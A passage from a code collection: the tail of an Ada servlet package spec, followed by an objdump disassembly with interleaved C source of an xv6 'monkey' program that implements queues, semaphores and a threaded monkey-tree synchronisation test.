-- package. The REST servlet identified by <tt>Name</tt> is searched in the servlet registry
-- and used as the servlet for processing the API requests.
procedure Register (Registry : in out Servlet.Core.Servlet_Registry;
Name : in String;
ELContext : in EL.Contexts.ELContext'Class);
private
Entries : Servlet.Rest.Descriptor_Access;
end Servlet.Rest.Definition;
|
monkey.asm
|
jhsie007/xv6
| 0
|
175837
|
_monkey: file format elf32-i386
Disassembly of section .text:
00001000 <init_qs>:
void init_qs(struct queues *);
void add_qs(struct queues *, int);
int empty_qs(struct queues *);
int pop_qs(struct queues *);
void init_qs(struct queues *q){
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
q->sizes = 0;
1003: 8b 45 08 mov 0x8(%ebp),%eax
1006: c7 00 00 00 00 00 movl $0x0,(%eax)
q->heads = 0;
100c: 8b 45 08 mov 0x8(%ebp),%eax
100f: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tails = 0;
1016: 8b 45 08 mov 0x8(%ebp),%eax
1019: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
1020: 5d pop %ebp
1021: c3 ret
00001022 <add_qs>:
void add_qs(struct queues *q, int v){
1022: 55 push %ebp
1023: 89 e5 mov %esp,%ebp
1025: 83 ec 28 sub $0x28,%esp
struct nodes * n = malloc(sizeof(struct nodes));
1028: c7 04 24 08 00 00 00 movl $0x8,(%esp)
102f: e8 d5 12 00 00 call 2309 <malloc>
1034: 89 45 f4 mov %eax,-0xc(%ebp)
n->nexts = 0;
1037: 8b 45 f4 mov -0xc(%ebp),%eax
103a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->values = v;
1041: 8b 45 f4 mov -0xc(%ebp),%eax
1044: 8b 55 0c mov 0xc(%ebp),%edx
1047: 89 10 mov %edx,(%eax)
if(q->heads == 0){
1049: 8b 45 08 mov 0x8(%ebp),%eax
104c: 8b 40 04 mov 0x4(%eax),%eax
104f: 85 c0 test %eax,%eax
1051: 75 0b jne 105e <add_qs+0x3c>
q->heads = n;
1053: 8b 45 08 mov 0x8(%ebp),%eax
1056: 8b 55 f4 mov -0xc(%ebp),%edx
1059: 89 50 04 mov %edx,0x4(%eax)
105c: eb 0c jmp 106a <add_qs+0x48>
}else{
q->tails->nexts = n;
105e: 8b 45 08 mov 0x8(%ebp),%eax
1061: 8b 40 08 mov 0x8(%eax),%eax
1064: 8b 55 f4 mov -0xc(%ebp),%edx
1067: 89 50 04 mov %edx,0x4(%eax)
}
q->tails = n;
106a: 8b 45 08 mov 0x8(%ebp),%eax
106d: 8b 55 f4 mov -0xc(%ebp),%edx
1070: 89 50 08 mov %edx,0x8(%eax)
q->sizes++;
1073: 8b 45 08 mov 0x8(%ebp),%eax
1076: 8b 00 mov (%eax),%eax
1078: 8d 50 01 lea 0x1(%eax),%edx
107b: 8b 45 08 mov 0x8(%ebp),%eax
107e: 89 10 mov %edx,(%eax)
}
1080: c9 leave
1081: c3 ret
00001082 <empty_qs>:
int empty_qs(struct queues *q){
1082: 55 push %ebp
1083: 89 e5 mov %esp,%ebp
if(q->sizes == 0)
1085: 8b 45 08 mov 0x8(%ebp),%eax
1088: 8b 00 mov (%eax),%eax
108a: 85 c0 test %eax,%eax
108c: 75 07 jne 1095 <empty_qs+0x13>
return 1;
108e: b8 01 00 00 00 mov $0x1,%eax
1093: eb 05 jmp 109a <empty_qs+0x18>
else
return 0;
1095: b8 00 00 00 00 mov $0x0,%eax
}
109a: 5d pop %ebp
109b: c3 ret
0000109c <pop_qs>:
int pop_qs(struct queues *q){
109c: 55 push %ebp
109d: 89 e5 mov %esp,%ebp
109f: 83 ec 28 sub $0x28,%esp
int val;
struct nodes *destroy;
if(!empty_qs(q)){
10a2: 8b 45 08 mov 0x8(%ebp),%eax
10a5: 89 04 24 mov %eax,(%esp)
10a8: e8 d5 ff ff ff call 1082 <empty_qs>
10ad: 85 c0 test %eax,%eax
10af: 75 5d jne 110e <pop_qs+0x72>
val = q->heads->values;
10b1: 8b 45 08 mov 0x8(%ebp),%eax
10b4: 8b 40 04 mov 0x4(%eax),%eax
10b7: 8b 00 mov (%eax),%eax
10b9: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->heads;
10bc: 8b 45 08 mov 0x8(%ebp),%eax
10bf: 8b 40 04 mov 0x4(%eax),%eax
10c2: 89 45 f0 mov %eax,-0x10(%ebp)
q->heads = q->heads->nexts;
10c5: 8b 45 08 mov 0x8(%ebp),%eax
10c8: 8b 40 04 mov 0x4(%eax),%eax
10cb: 8b 50 04 mov 0x4(%eax),%edx
10ce: 8b 45 08 mov 0x8(%ebp),%eax
10d1: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
10d4: 8b 45 f0 mov -0x10(%ebp),%eax
10d7: 89 04 24 mov %eax,(%esp)
10da: e8 f1 10 00 00 call 21d0 <free>
q->sizes--;
10df: 8b 45 08 mov 0x8(%ebp),%eax
10e2: 8b 00 mov (%eax),%eax
10e4: 8d 50 ff lea -0x1(%eax),%edx
10e7: 8b 45 08 mov 0x8(%ebp),%eax
10ea: 89 10 mov %edx,(%eax)
if(q->sizes == 0){
10ec: 8b 45 08 mov 0x8(%ebp),%eax
10ef: 8b 00 mov (%eax),%eax
10f1: 85 c0 test %eax,%eax
10f3: 75 14 jne 1109 <pop_qs+0x6d>
q->heads = 0;
10f5: 8b 45 08 mov 0x8(%ebp),%eax
10f8: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tails = 0;
10ff: 8b 45 08 mov 0x8(%ebp),%eax
1102: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
1109: 8b 45 f4 mov -0xc(%ebp),%eax
110c: eb 05 jmp 1113 <pop_qs+0x77>
}
return -1;
110e: b8 ff ff ff ff mov $0xffffffff,%eax
}
1113: c9 leave
1114: c3 ret
00001115 <sem_init>:
lock_t lock;
struct queues pRobyn;
};
//Initialize Semaphore
void sem_init(struct Semaphore *s, int c){
1115: 55 push %ebp
1116: 89 e5 mov %esp,%ebp
1118: 83 ec 18 sub $0x18,%esp
s->count = c;
111b: 8b 45 08 mov 0x8(%ebp),%eax
111e: 8b 55 0c mov 0xc(%ebp),%edx
1121: 89 10 mov %edx,(%eax)
s->maxCount = c;
1123: 8b 45 08 mov 0x8(%ebp),%eax
1126: 8b 55 0c mov 0xc(%ebp),%edx
1129: 89 50 04 mov %edx,0x4(%eax)
init_qs(&(s->pRobyn));
112c: 8b 45 08 mov 0x8(%ebp),%eax
112f: 83 c0 0c add $0xc,%eax
1132: 89 04 24 mov %eax,(%esp)
1135: e8 c6 fe ff ff call 1000 <init_qs>
lock_init(&s->lock);
113a: 8b 45 08 mov 0x8(%ebp),%eax
113d: 83 c0 08 add $0x8,%eax
1140: 89 04 24 mov %eax,(%esp)
1143: e8 be 12 00 00 call 2406 <lock_init>
}
1148: c9 leave
1149: c3 ret
0000114a <sem_acquire>:
//Acquire Semaphore
void sem_acquire(struct Semaphore *s){
114a: 55 push %ebp
114b: 89 e5 mov %esp,%ebp
114d: 83 ec 18 sub $0x18,%esp
if(s->count > 0){
1150: 8b 45 08 mov 0x8(%ebp),%eax
1153: 8b 00 mov (%eax),%eax
1155: 85 c0 test %eax,%eax
1157: 7e 2b jle 1184 <sem_acquire+0x3a>
lock_acquire(&s->lock);
1159: 8b 45 08 mov 0x8(%ebp),%eax
115c: 83 c0 08 add $0x8,%eax
115f: 89 04 24 mov %eax,(%esp)
1162: e8 ad 12 00 00 call 2414 <lock_acquire>
s->count--;
1167: 8b 45 08 mov 0x8(%ebp),%eax
116a: 8b 00 mov (%eax),%eax
116c: 8d 50 ff lea -0x1(%eax),%edx
116f: 8b 45 08 mov 0x8(%ebp),%eax
1172: 89 10 mov %edx,(%eax)
lock_release(&s->lock);
1174: 8b 45 08 mov 0x8(%ebp),%eax
1177: 83 c0 08 add $0x8,%eax
117a: 89 04 24 mov %eax,(%esp)
117d: e8 b2 12 00 00 call 2434 <lock_release>
1182: eb 43 jmp 11c7 <sem_acquire+0x7d>
}
else{
lock_acquire(&s->lock);
1184: 8b 45 08 mov 0x8(%ebp),%eax
1187: 83 c0 08 add $0x8,%eax
118a: 89 04 24 mov %eax,(%esp)
118d: e8 82 12 00 00 call 2414 <lock_acquire>
add_qs(&(s->pRobyn), getpid());
1192: e8 5d 0d 00 00 call 1ef4 <getpid>
1197: 8b 55 08 mov 0x8(%ebp),%edx
119a: 83 c2 0c add $0xc,%edx
119d: 89 44 24 04 mov %eax,0x4(%esp)
11a1: 89 14 24 mov %edx,(%esp)
11a4: e8 79 fe ff ff call 1022 <add_qs>
lock_release(&s->lock);
11a9: 8b 45 08 mov 0x8(%ebp),%eax
11ac: 83 c0 08 add $0x8,%eax
11af: 89 04 24 mov %eax,(%esp)
11b2: e8 7d 12 00 00 call 2434 <lock_release>
tsleep();
11b7: e8 68 0d 00 00 call 1f24 <tsleep>
sem_acquire(s);
11bc: 8b 45 08 mov 0x8(%ebp),%eax
11bf: 89 04 24 mov %eax,(%esp)
11c2: e8 83 ff ff ff call 114a <sem_acquire>
}
}
11c7: c9 leave
11c8: c3 ret
000011c9 <sem_signal>:
//Signal Semaphore
void sem_signal(struct Semaphore *s){
11c9: 55 push %ebp
11ca: 89 e5 mov %esp,%ebp
11cc: 83 ec 18 sub $0x18,%esp
if(s->count < s->maxCount){
11cf: 8b 45 08 mov 0x8(%ebp),%eax
11d2: 8b 10 mov (%eax),%edx
11d4: 8b 45 08 mov 0x8(%ebp),%eax
11d7: 8b 40 04 mov 0x4(%eax),%eax
11da: 39 c2 cmp %eax,%edx
11dc: 7d 51 jge 122f <sem_signal+0x66>
lock_acquire(&s->lock);
11de: 8b 45 08 mov 0x8(%ebp),%eax
11e1: 83 c0 08 add $0x8,%eax
11e4: 89 04 24 mov %eax,(%esp)
11e7: e8 28 12 00 00 call 2414 <lock_acquire>
s->count++;
11ec: 8b 45 08 mov 0x8(%ebp),%eax
11ef: 8b 00 mov (%eax),%eax
11f1: 8d 50 01 lea 0x1(%eax),%edx
11f4: 8b 45 08 mov 0x8(%ebp),%eax
11f7: 89 10 mov %edx,(%eax)
lock_release(&s->lock);
11f9: 8b 45 08 mov 0x8(%ebp),%eax
11fc: 83 c0 08 add $0x8,%eax
11ff: 89 04 24 mov %eax,(%esp)
1202: e8 2d 12 00 00 call 2434 <lock_release>
if(empty_qs(&(s->pRobyn)) == 0){
1207: 8b 45 08 mov 0x8(%ebp),%eax
120a: 83 c0 0c add $0xc,%eax
120d: 89 04 24 mov %eax,(%esp)
1210: e8 6d fe ff ff call 1082 <empty_qs>
1215: 85 c0 test %eax,%eax
1217: 75 16 jne 122f <sem_signal+0x66>
twakeup(pop_qs(&(s->pRobyn)));
1219: 8b 45 08 mov 0x8(%ebp),%eax
121c: 83 c0 0c add $0xc,%eax
121f: 89 04 24 mov %eax,(%esp)
1222: e8 75 fe ff ff call 109c <pop_qs>
1227: 89 04 24 mov %eax,(%esp)
122a: e8 fd 0c 00 00 call 1f2c <twakeup>
}
}
}
122f: c9 leave
1230: c3 ret
00001231 <main>:
void nMonkey();
void dMonkey();
void printAction(char a[]);
int main(){
1231: 55 push %ebp
1232: 89 e5 mov %esp,%ebp
1234: 83 e4 f0 and $0xfffffff0,%esp
1237: 83 ec 10 sub $0x10,%esp
tree = malloc(sizeof(struct Semaphore));
123a: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1241: e8 c3 10 00 00 call 2309 <malloc>
1246: a3 88 2e 00 00 mov %eax,0x2e88
p = malloc(sizeof(struct Semaphore));
124b: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1252: e8 b2 10 00 00 call 2309 <malloc>
1257: a3 8c 2e 00 00 mov %eax,0x2e8c
d = malloc(sizeof(struct Semaphore));
125c: c7 04 24 18 00 00 00 movl $0x18,(%esp)
1263: e8 a1 10 00 00 call 2309 <malloc>
1268: a3 90 2e 00 00 mov %eax,0x2e90
sem_init(d, 1);
126d: a1 90 2e 00 00 mov 0x2e90,%eax
1272: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
1279: 00
127a: 89 04 24 mov %eax,(%esp)
127d: e8 93 fe ff ff call 1115 <sem_init>
sem_init(p, 1);
1282: a1 8c 2e 00 00 mov 0x2e8c,%eax
1287: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
128e: 00
128f: 89 04 24 mov %eax,(%esp)
1292: e8 7e fe ff ff call 1115 <sem_init>
//Test a-1: 3 monkeys go up tree
printAction("Test a-1: 3 normal monkeys:\n");
1297: c7 04 24 60 26 00 00 movl $0x2660,(%esp)
129e: e8 2a 09 00 00 call 1bcd <printAction>
sem_init(tree, 3);
12a3: a1 88 2e 00 00 mov 0x2e88,%eax
12a8: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
12af: 00
12b0: 89 04 24 mov %eax,(%esp)
12b3: e8 5d fe ff ff call 1115 <sem_init>
for(colony = 0; colony < 3; colony++){
12b8: c7 05 a4 2e 00 00 00 movl $0x0,0x2ea4
12bf: 00 00 00
12c2: eb 40 jmp 1304 <main+0xd3>
tid = thread_create(nMonkey, (void *) &arg);
12c4: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
12cb: 00
12cc: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
12d3: e8 77 11 00 00 call 244f <thread_create>
12d8: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
12dd: a1 a8 2e 00 00 mov 0x2ea8,%eax
12e2: 85 c0 test %eax,%eax
12e4: 75 11 jne 12f7 <main+0xc6>
printAction("Failed to create a thread\n");
12e6: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
12ed: e8 db 08 00 00 call 1bcd <printAction>
exit();
12f2: e8 7d 0b 00 00 call 1e74 <exit>
//Test a-1: 3 monkeys go up tree
printAction("Test a-1: 3 normal monkeys:\n");
sem_init(tree, 3);
for(colony = 0; colony < 3; colony++){
12f7: a1 a4 2e 00 00 mov 0x2ea4,%eax
12fc: 83 c0 01 add $0x1,%eax
12ff: a3 a4 2e 00 00 mov %eax,0x2ea4
1304: a1 a4 2e 00 00 mov 0x2ea4,%eax
1309: 83 f8 02 cmp $0x2,%eax
130c: 7e b6 jle 12c4 <main+0x93>
if(tid <= 0){
printAction("Failed to create a thread\n");
exit();
}
}
while(wait()>= 0);
130e: 90 nop
130f: e8 68 0b 00 00 call 1e7c <wait>
1314: 85 c0 test %eax,%eax
1316: 79 f7 jns 130f <main+0xde>
//Test a-2: 6 monkeys go up tree
printAction("\nTest a-2: 6 normal monkeys:\n");
1318: c7 04 24 98 26 00 00 movl $0x2698,(%esp)
131f: e8 a9 08 00 00 call 1bcd <printAction>
sem_init(tree, 3);
1324: a1 88 2e 00 00 mov 0x2e88,%eax
1329: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
1330: 00
1331: 89 04 24 mov %eax,(%esp)
1334: e8 dc fd ff ff call 1115 <sem_init>
for(colony = 0; colony < 6; colony++){
1339: c7 05 a4 2e 00 00 00 movl $0x0,0x2ea4
1340: 00 00 00
1343: eb 40 jmp 1385 <main+0x154>
tid = thread_create(nMonkey, (void *) &arg);
1345: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
134c: 00
134d: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1354: e8 f6 10 00 00 call 244f <thread_create>
1359: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
135e: a1 a8 2e 00 00 mov 0x2ea8,%eax
1363: 85 c0 test %eax,%eax
1365: 75 11 jne 1378 <main+0x147>
printAction("Failed to create a thread\n");
1367: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
136e: e8 5a 08 00 00 call 1bcd <printAction>
exit();
1373: e8 fc 0a 00 00 call 1e74 <exit>
//Test a-2: 6 monkeys go up tree
printAction("\nTest a-2: 6 normal monkeys:\n");
sem_init(tree, 3);
for(colony = 0; colony < 6; colony++){
1378: a1 a4 2e 00 00 mov 0x2ea4,%eax
137d: 83 c0 01 add $0x1,%eax
1380: a3 a4 2e 00 00 mov %eax,0x2ea4
1385: a1 a4 2e 00 00 mov 0x2ea4,%eax
138a: 83 f8 05 cmp $0x5,%eax
138d: 7e b6 jle 1345 <main+0x114>
if(tid <= 0){
printAction("Failed to create a thread\n");
exit();
}
}
while(wait()>= 0);
138f: 90 nop
1390: e8 e7 0a 00 00 call 1e7c <wait>
1395: 85 c0 test %eax,%eax
1397: 79 f7 jns 1390 <main+0x15f>
//Test a-3: 12 monkeys go up tree
printAction("\nTest a-3: 12 normal monkeys:\n");
1399: c7 04 24 b8 26 00 00 movl $0x26b8,(%esp)
13a0: e8 28 08 00 00 call 1bcd <printAction>
sem_init(tree, 3);
13a5: a1 88 2e 00 00 mov 0x2e88,%eax
13aa: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
13b1: 00
13b2: 89 04 24 mov %eax,(%esp)
13b5: e8 5b fd ff ff call 1115 <sem_init>
for(colony = 0; colony < 12; colony++){
13ba: c7 05 a4 2e 00 00 00 movl $0x0,0x2ea4
13c1: 00 00 00
13c4: eb 40 jmp 1406 <main+0x1d5>
tid = thread_create(nMonkey, (void *) &arg);
13c6: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
13cd: 00
13ce: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
13d5: e8 75 10 00 00 call 244f <thread_create>
13da: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
13df: a1 a8 2e 00 00 mov 0x2ea8,%eax
13e4: 85 c0 test %eax,%eax
13e6: 75 11 jne 13f9 <main+0x1c8>
printAction("Failed to create a thread\n");
13e8: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
13ef: e8 d9 07 00 00 call 1bcd <printAction>
exit();
13f4: e8 7b 0a 00 00 call 1e74 <exit>
//Test a-3: 12 monkeys go up tree
printAction("\nTest a-3: 12 normal monkeys:\n");
sem_init(tree, 3);
for(colony = 0; colony < 12; colony++){
13f9: a1 a4 2e 00 00 mov 0x2ea4,%eax
13fe: 83 c0 01 add $0x1,%eax
1401: a3 a4 2e 00 00 mov %eax,0x2ea4
1406: a1 a4 2e 00 00 mov 0x2ea4,%eax
140b: 83 f8 0b cmp $0xb,%eax
140e: 7e b6 jle 13c6 <main+0x195>
if(tid <= 0){
printAction("Failed to create a thread\n");
exit();
}
}
while(wait()>= 0);
1410: 90 nop
1411: e8 66 0a 00 00 call 1e7c <wait>
1416: 85 c0 test %eax,%eax
1418: 79 f7 jns 1411 <main+0x1e0>
//Test c-1: 3 normal monkeys 1 dominant monkey (Thread creation order: D->N->N->N)
printAction("\nTest c-1: 3 normal monkeys 1 dominant monkey (Thread creation order: D->N->N->N):\n");
141a: c7 04 24 d8 26 00 00 movl $0x26d8,(%esp)
1421: e8 a7 07 00 00 call 1bcd <printAction>
sem_init(tree, 3);
1426: a1 88 2e 00 00 mov 0x2e88,%eax
142b: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
1432: 00
1433: 89 04 24 mov %eax,(%esp)
1436: e8 da fc ff ff call 1115 <sem_init>
tid = thread_create(dMonkey, (void *) &arg);
143b: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1442: 00
1443: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
144a: e8 00 10 00 00 call 244f <thread_create>
144f: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1454: a1 a8 2e 00 00 mov 0x2ea8,%eax
1459: 85 c0 test %eax,%eax
145b: 75 11 jne 146e <main+0x23d>
printAction("Failed to create a thread\n");
145d: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1464: e8 64 07 00 00 call 1bcd <printAction>
exit();
1469: e8 06 0a 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
146e: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1475: 00
1476: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
147d: e8 cd 0f 00 00 call 244f <thread_create>
1482: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1487: a1 a8 2e 00 00 mov 0x2ea8,%eax
148c: 85 c0 test %eax,%eax
148e: 75 11 jne 14a1 <main+0x270>
printAction("Failed to create a thread\n");
1490: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1497: e8 31 07 00 00 call 1bcd <printAction>
exit();
149c: e8 d3 09 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
14a1: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
14a8: 00
14a9: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
14b0: e8 9a 0f 00 00 call 244f <thread_create>
14b5: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
14ba: a1 a8 2e 00 00 mov 0x2ea8,%eax
14bf: 85 c0 test %eax,%eax
14c1: 75 11 jne 14d4 <main+0x2a3>
printAction("Failed to create a thread\n");
14c3: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
14ca: e8 fe 06 00 00 call 1bcd <printAction>
exit();
14cf: e8 a0 09 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
14d4: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
14db: 00
14dc: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
14e3: e8 67 0f 00 00 call 244f <thread_create>
14e8: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
14ed: a1 a8 2e 00 00 mov 0x2ea8,%eax
14f2: 85 c0 test %eax,%eax
14f4: 75 11 jne 1507 <main+0x2d6>
printAction("Failed to create a thread\n");
14f6: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
14fd: e8 cb 06 00 00 call 1bcd <printAction>
exit();
1502: e8 6d 09 00 00 call 1e74 <exit>
}
while(wait()>= 0);
1507: 90 nop
1508: e8 6f 09 00 00 call 1e7c <wait>
150d: 85 c0 test %eax,%eax
150f: 79 f7 jns 1508 <main+0x2d7>
//Test c-2: 3 normal monkeys 1 dominant monkey (Thread creation order: N->N->N->D)
printAction("\nTest c-2: 3 normal monkeys 1 dominant monkey (Thread creation order: N->N->N->D):\n");
1511: c7 04 24 2c 27 00 00 movl $0x272c,(%esp)
1518: e8 b0 06 00 00 call 1bcd <printAction>
sem_init(tree, 3);
151d: a1 88 2e 00 00 mov 0x2e88,%eax
1522: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
1529: 00
152a: 89 04 24 mov %eax,(%esp)
152d: e8 e3 fb ff ff call 1115 <sem_init>
tid = thread_create(nMonkey, (void *) &arg);
1532: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1539: 00
153a: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1541: e8 09 0f 00 00 call 244f <thread_create>
1546: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
154b: a1 a8 2e 00 00 mov 0x2ea8,%eax
1550: 85 c0 test %eax,%eax
1552: 75 11 jne 1565 <main+0x334>
printAction("Failed to create a thread\n");
1554: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
155b: e8 6d 06 00 00 call 1bcd <printAction>
exit();
1560: e8 0f 09 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
1565: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
156c: 00
156d: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1574: e8 d6 0e 00 00 call 244f <thread_create>
1579: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
157e: a1 a8 2e 00 00 mov 0x2ea8,%eax
1583: 85 c0 test %eax,%eax
1585: 75 11 jne 1598 <main+0x367>
printAction("Failed to create a thread\n");
1587: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
158e: e8 3a 06 00 00 call 1bcd <printAction>
exit();
1593: e8 dc 08 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
1598: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
159f: 00
15a0: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
15a7: e8 a3 0e 00 00 call 244f <thread_create>
15ac: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
15b1: a1 a8 2e 00 00 mov 0x2ea8,%eax
15b6: 85 c0 test %eax,%eax
15b8: 75 11 jne 15cb <main+0x39a>
printAction("Failed to create a thread\n");
15ba: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
15c1: e8 07 06 00 00 call 1bcd <printAction>
exit();
15c6: e8 a9 08 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
15cb: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
15d2: 00
15d3: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
15da: e8 70 0e 00 00 call 244f <thread_create>
15df: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
15e4: a1 a8 2e 00 00 mov 0x2ea8,%eax
15e9: 85 c0 test %eax,%eax
15eb: 75 11 jne 15fe <main+0x3cd>
printAction("Failed to create a thread\n");
15ed: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
15f4: e8 d4 05 00 00 call 1bcd <printAction>
exit();
15f9: e8 76 08 00 00 call 1e74 <exit>
}
while(wait()>= 0);
15fe: 90 nop
15ff: e8 78 08 00 00 call 1e7c <wait>
1604: 85 c0 test %eax,%eax
1606: 79 f7 jns 15ff <main+0x3ce>
//Test c-3: 4 normal monkeys 2 dominant monkey (Thread creation order: N->N->D->N->D->N)
printAction("\nTest c-3: 4 normal monkeys 2 dominant monkey (Thread creation order: N->N->D->N->D->N):\n");
1608: c7 04 24 80 27 00 00 movl $0x2780,(%esp)
160f: e8 b9 05 00 00 call 1bcd <printAction>
sem_init(tree, 3);
1614: a1 88 2e 00 00 mov 0x2e88,%eax
1619: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
1620: 00
1621: 89 04 24 mov %eax,(%esp)
1624: e8 ec fa ff ff call 1115 <sem_init>
tid = thread_create(nMonkey, (void *) &arg);
1629: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1630: 00
1631: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
1638: e8 12 0e 00 00 call 244f <thread_create>
163d: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1642: a1 a8 2e 00 00 mov 0x2ea8,%eax
1647: 85 c0 test %eax,%eax
1649: 75 11 jne 165c <main+0x42b>
printAction("Failed to create a thread\n");
164b: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1652: e8 76 05 00 00 call 1bcd <printAction>
exit();
1657: e8 18 08 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
165c: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1663: 00
1664: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
166b: e8 df 0d 00 00 call 244f <thread_create>
1670: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
1675: a1 a8 2e 00 00 mov 0x2ea8,%eax
167a: 85 c0 test %eax,%eax
167c: 75 11 jne 168f <main+0x45e>
printAction("Failed to create a thread\n");
167e: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
1685: e8 43 05 00 00 call 1bcd <printAction>
exit();
168a: e8 e5 07 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
168f: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
1696: 00
1697: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
169e: e8 ac 0d 00 00 call 244f <thread_create>
16a3: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
16a8: a1 a8 2e 00 00 mov 0x2ea8,%eax
16ad: 85 c0 test %eax,%eax
16af: 75 11 jne 16c2 <main+0x491>
printAction("Failed to create a thread\n");
16b1: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
16b8: e8 10 05 00 00 call 1bcd <printAction>
exit();
16bd: e8 b2 07 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
16c2: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
16c9: 00
16ca: c7 04 24 24 1a 00 00 movl $0x1a24,(%esp)
16d1: e8 79 0d 00 00 call 244f <thread_create>
16d6: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
16db: a1 a8 2e 00 00 mov 0x2ea8,%eax
16e0: 85 c0 test %eax,%eax
16e2: 75 11 jne 16f5 <main+0x4c4>
printAction("Failed to create a thread\n");
16e4: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
16eb: e8 dd 04 00 00 call 1bcd <printAction>
exit();
16f0: e8 7f 07 00 00 call 1e74 <exit>
}
tid = thread_create(dMonkey, (void *) &arg);
16f5: c7 44 24 04 6c 2e 00 movl $0x2e6c,0x4(%esp)
16fc: 00
16fd: c7 04 24 e9 1a 00 00 movl $0x1ae9,(%esp)
1704: e8 46 0d 00 00 call 244f <thread_create>
1709: a3 a8 2e 00 00 mov %eax,0x2ea8
if(tid <= 0){
170e: a1 a8 2e 00 00 mov 0x2ea8,%eax
1713: 85 c0 test %eax,%eax
1715: 75 11 jne 1728 <main+0x4f7>
printAction("Failed to create a thread\n");
1717: c7 04 24 7d 26 00 00 movl $0x267d,(%esp)
171e: e8 aa 04 00 00 call 1bcd <printAction>
exit();
1723: e8 4c 07 00 00 call 1e74 <exit>
}
tid = thread_create(nMonkey, (void *) &arg);
